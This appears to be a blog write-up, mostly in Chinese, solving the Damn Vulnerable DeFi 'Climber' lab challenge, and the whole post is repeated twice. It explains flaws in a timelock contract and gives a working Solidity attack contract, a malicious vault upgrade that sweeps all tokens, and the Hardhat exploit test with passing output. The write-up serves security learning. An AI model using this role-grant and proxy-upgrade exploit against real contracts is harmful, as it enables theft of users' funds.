web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.
The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.
On the vault there's an additional role with powers to sweep all tokens in case of an emergency.
On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.
Your goal is to empty the vault.
目标: 偷走保险库中所有资金
after(async function () {
/** SUCCESS CONDITIONS */
expect(await this.token.balanceOf(this.vault.address)).to.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.eq(VAULT_TOKEN_BALANCE);
});
climber.challenge.js
攻击者拥有初始金额0.1 ETH
用UUPS模式部署保险库合约传入初始化必要参数
初始化ClimberTimelock 时间锁合约
将10M DVT转入保险库中
ClimberVault.sol 保险库合约
间隔15天提款一次,每次提款1 ETH
initialize 初始化函数, UUPS升级模式, 初始化过程中新建ClimberTimelock 时间锁合约,并将所属权转移给时间锁
function initialize(address admin, address proposer, address sweeper) initializer external {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}
withdraw onlyOwner取款函数限制1 ETH , 每取款一次需要间隔15天
sweepFunds onlySweeper 扫空所有资金, 仅允许拥有Sweeper 角色的地址调用
ClimberTimelock.sol 时间锁合约, 继承AccessControl.sol 用于角色访问权限控制
schedule发起提案函数, 只能被proposers 角色控制
execute 执行提案函数,只能执行提案队列中的内容, 可以被任何人调用
ClimberTimelock时间锁合约被设置ADMIN_ROLE 管理员权限, 而ADMIN_ROLE 将从AccessControl.sol 中继承function grantRole(bytes32 role, address account) 设置权限函数
execute 执行提案函数中check 提案状态发生在实际执行之后, 违反了checks-effects-interactions 模式
for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}
require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
check 提案执行时间逻辑错误, 大于小于符号写反将导致提案可以立即被执行而不用等待1小时, 应使用<=
else if(op.readyAtTimestamp >= block.timestamp) {
return OperationState.ReadyForExecution;
要想取走保险库所有资金只能调用sweepFunds 函数 -> sweepFunds 被onlySweeper 保护
ClimberVault 保险库为UUPS模式可升级合约 -> 可通过升级保险库移除sweepFunds 限制
升级保险库需要拿到owner 权限 -> 通过时间锁合约schedule 发起提案获得owner
发起提案schedule 需要PROPOSER_ROLE 身份 -> 利用execute 漏洞和ADMIN_ROLE 身份继承而来的grantRole 函数直接设置PROPOSER_ROLE身份
发起提案升级保险库移除onlySweeper
由于check 提案执行时间逻辑错误, 提案可立即被执行
调用sweepFunds 转走保险库资金
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ClimberVault.sol";
contract AttackClimber {
ClimberVault public immutable vault;
address payable timelock;
address[] public targets;
uint256[] public values;
bytes[] public dataElements;
constructor(address _vault, address payable _timelock) {
vault = ClimberVault(_vault);
timelock = _timelock;
}
function attack(address attacker) external {
targets.push(timelock);
targets.push(address(vault));
targets.push(address(this));
values.push(0);
values.push(0);
values.push(0);
bytes memory data0 = abi.encodeWithSignature(
"grantRole(bytes32,address)",
keccak256("PROPOSER_ROLE"),
address(this)
);
bytes memory data1 = abi.encodeWithSignature("transferOwnership(address)", attacker);
bytes memory data2 = abi.encodeWithSignature("schedule()");
dataElements.push(data0);
dataElements.push(data1);
dataElements.push(data2);
ClimberTimelock(timelock).execute(targets, values, dataElements, "0x");
}
function schedule() external {
ClimberTimelock(timelock).schedule(targets, values, dataElements, "0x");
}
}
升级保险库合约, 在原ClimberVault 的基础上移除onlySweeper
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberTimelock.sol";
contract ClimberVaultWithoutOnlySweeper is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize(
address admin,
address proposer,
address sweeper
) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(
address tokenAddress,
address recipient,
uint256 amount
) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
_setLastWithdrawal(block.timestamp);
IERC20 token = IERC20(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}
function sweepFundsV2(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(tx.origin, token.balanceOf(address(this))), "Transfer failed");
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) internal {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackClimber = await ethers.getContractFactory("AttackClimber", attacker);
this.attack = await AttackClimber.deploy(this.vault.address, this.timelock.address);
await this.attack.connect(attacker).attack(attacker.address);
const VaultX = await ethers.getContractFactory("ClimberVaultWithoutOnlySweeper", attacker);
this.vaultV2 = await VaultX.deploy();
const vaultV2Interface = VaultX.interface;
const data = vaultV2Interface.encodeFunctionData("sweepFundsV2", [this.token.address]);
await this.vault.connect(attacker).upgradeToAndCall(this.vaultV2.address, data);
});
运行通过
❯ yarn run climber
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/climber/climber.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/climber/climber.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Climber
✓ Exploit (483ms)
1 passing (4s)
Done in 8.08s.
Twitter: @0xRunstar
There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.
The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.
On the vault there's an additional role with powers to sweep all tokens in case of an emergency.
On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.
Your goal is to empty the vault.
目标: 偷走保险库中所有资金
after(async function () {
/** SUCCESS CONDITIONS */
expect(await this.token.balanceOf(this.vault.address)).to.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.eq(VAULT_TOKEN_BALANCE);
});
climber.challenge.js
攻击者拥有初始金额0.1 ETH
用UUPS模式部署保险库合约传入初始化必要参数
初始化ClimberTimelock 时间锁合约
将10M DVT转入保险库中
ClimberVault.sol 保险库合约
间隔15天提款一次,每次提款1 ETH
initialize 初始化函数, UUPS升级模式, 初始化过程中新建ClimberTimelock 时间锁合约,并将所属权转移给时间锁
function initialize(address admin, address proposer, address sweeper) initializer external {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}
withdraw onlyOwner取款函数限制1 ETH , 每取款一次需要间隔15天
sweepFunds onlySweeper 扫空所有资金, 仅允许拥有Sweeper 角色的地址调用
ClimberTimelock.sol 时间锁合约, 继承AccessControl.sol 用于角色访问权限控制
schedule发起提案函数, 只能被proposers 角色控制
execute 执行提案函数,只能执行提案队列中的内容, 可以被任何人调用
ClimberTimelock时间锁合约被设置ADMIN_ROLE 管理员权限, 而ADMIN_ROLE 将从AccessControl.sol 中继承function grantRole(bytes32 role, address account) 设置权限函数
execute 执行提案函数中check 提案状态发生在实际执行之后, 违反了checks-effects-interactions 模式
for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}
require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
check 提案执行时间逻辑错误, 大于小于符号写反将导致提案可以立即被执行而不用等待1小时, 应使用<=
else if(op.readyAtTimestamp >= block.timestamp) {
return OperationState.ReadyForExecution;
要想取走保险库所有资金只能调用sweepFunds 函数 -> sweepFunds 被onlySweeper 保护
ClimberVault 保险库为UUPS模式可升级合约 -> 可通过升级保险库移除sweepFunds 限制
升级保险库需要拿到owner 权限 -> 通过时间锁合约schedule 发起提案获得owner
发起提案schedule 需要PROPOSER_ROLE 身份 -> 利用execute 漏洞和ADMIN_ROLE 身份继承而来的grantRole 函数直接设置PROPOSER_ROLE身份
发起提案升级保险库移除onlySweeper
由于check 提案执行时间逻辑错误, 提案可立即被执行
调用sweepFunds 转走保险库资金
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ClimberVault.sol";
contract AttackClimber {
ClimberVault public immutable vault;
address payable timelock;
address[] public targets;
uint256[] public values;
bytes[] public dataElements;
constructor(address _vault, address payable _timelock) {
vault = ClimberVault(_vault);
timelock = _timelock;
}
function attack(address attacker) external {
targets.push(timelock);
targets.push(address(vault));
targets.push(address(this));
values.push(0);
values.push(0);
values.push(0);
bytes memory data0 = abi.encodeWithSignature(
"grantRole(bytes32,address)",
keccak256("PROPOSER_ROLE"),
address(this)
);
bytes memory data1 = abi.encodeWithSignature("transferOwnership(address)", attacker);
bytes memory data2 = abi.encodeWithSignature("schedule()");
dataElements.push(data0);
dataElements.push(data1);
dataElements.push(data2);
ClimberTimelock(timelock).execute(targets, values, dataElements, "0x");
}
function schedule() external {
ClimberTimelock(timelock).schedule(targets, values, dataElements, "0x");
}
}
升级保险库合约, 在原ClimberVault 的基础上移除onlySweeper
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberTimelock.sol";
contract ClimberVaultWithoutOnlySweeper is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize(
address admin,
address proposer,
address sweeper
) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_setLastWithdrawal(block.timestamp);
_lastWithdrawalTimestamp = block.timestamp;
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(
address tokenAddress,
address recipient,
uint256 amount
) external onlyOwner {
require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
_setLastWithdrawal(block.timestamp);
IERC20 token = IERC20(tokenAddress);
require(token.transfer(recipient, amount), "Transfer failed");
}
function sweepFundsV2(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(tx.origin, token.balanceOf(address(this))), "Transfer failed");
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) internal {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _setLastWithdrawal(uint256 timestamp) internal {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackClimber = await ethers.getContractFactory("AttackClimber", attacker);
this.attack = await AttackClimber.deploy(this.vault.address, this.timelock.address);
await this.attack.connect(attacker).attack(attacker.address);
const VaultX = await ethers.getContractFactory("ClimberVaultWithoutOnlySweeper", attacker);
this.vaultV2 = await VaultX.deploy();
const vaultV2Interface = VaultX.interface;
const data = vaultV2Interface.encodeFunctionData("sweepFundsV2", [this.token.address]);
await this.vault.connect(attacker).upgradeToAndCall(this.vaultV2.address, data);
});
运行通过
❯ yarn run climber
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/climber/climber.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/climber/climber.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Climber
✓ Exploit (483ms)
1 passing (4s)
Done in 8.08s.
Twitter: @0xRunstar
No activity yet